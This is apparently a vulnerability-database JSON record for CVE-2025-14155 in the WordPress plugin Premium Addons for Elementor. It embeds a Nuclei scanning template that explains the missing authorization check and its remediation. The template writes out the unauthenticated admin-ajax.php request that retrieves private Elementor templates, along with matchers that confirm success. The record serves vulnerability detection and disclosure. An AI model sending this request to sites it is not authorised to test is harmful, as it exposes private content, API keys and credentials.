{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2025-14155/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2025-14155/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2025-14155/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2025-14155/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2025-14155/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2025-14155/enrichment"},"sightings":{"href":"/api/v1/sightings/cve-2025-14155"},"vulnerability":{"href":"/api/v1/vulnerability/cve-2025-14155"}},"enrichments":{"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2025/CVE-2025-14155.yaml","nuclei_template_severity":"medium","nuclei_template_yaml":"id: CVE-2025-14155\n\ninfo:\n  name: Premium Addons for Elementor - Unauthenticated Information Disclosure\n  author: DhiyaneshDk\n  severity: medium\n  description: |\n    Premium Addons for Elementor plugin for WordPress version 4.11.53 and below contains an unauthenticated information disclosure vulnerability.The vulnerability exists due to a missing authorization check in the get_template_content() AJAX handler, allowing unauthenticated attackers to retrieve private, draft, and pending Elementor templates that may contain sensitive information such as API keys, credentials, customer data,or unpublished content.\n  impact: |\n    Unauthenticated attackers can view private and unpublished template content, leading to sensitive data disclosure.\n  remediation: |\n    Update to the latest version beyond 4.11.53.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2025-14155\n    - https://www.wordfence.com/threat-intel/vulnerabilities/id/135c33bb-5ec2-4697-9340-1d2651ff3a0b?source=cve\n    - https://plugins.trac.wordpress.org/browser/premium-addons-for-elementor/tags/4.11.53/includes/addons-integration.php#L1624\n    - https://plugins.trac.wordpress.org/changeset/3416254/\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N\n    cvss-score: 5.3\n    cve-id: CVE-2025-14155\n    cwe-id: CWE-862\n    epss-score: 0.00764\n    epss-percentile: 0.55545\n    cpe: cpe:2.3:a:leap13:premium_addons_for_elementor:*:*:*:*:*:wordpress:*:*\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: leap13\n    product: premium_addons_for_elementor\n    framework: wordpress\n    publicwww-query: \"/wp-content/plugins/premium-addons-for-elementor/\"\n  tags: cve,cve2025,wordpress,wp-plugin,premium-addons-elementor,unauth,disclosure,wp,vkev\n\nvariables:\n  template_id: \"{{rand_int(1, 100)}}\"\n\nhttp:\n  - raw:\n      - |\n        GET /wp-admin/admin-ajax.php?action=get_elementor_template_content&templateID={{template_id}}&is_id=true HTTP/1.1\n        Host: {{Hostname}}\n        Accept: application/json, text/javascript, */*; q=0.01\n        X-Requested-With: XMLHttpRequest\n        Referer: {{RootURL}}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - '\"success\":true'\n          - '\"template_content\"'\n        condition: and\n\n      - type: word\n        part: content_type\n        words:\n          - \"application/json\"\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a00473045022100fcf690c144bc935ed39ba10ffa0d81a97fc655e810460973490339a74ed32ec2022035187216c8548b3e9cfbb238ad0721ead72ad42f11b9138d2f60cd8a405dd3ca:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2025-14155"}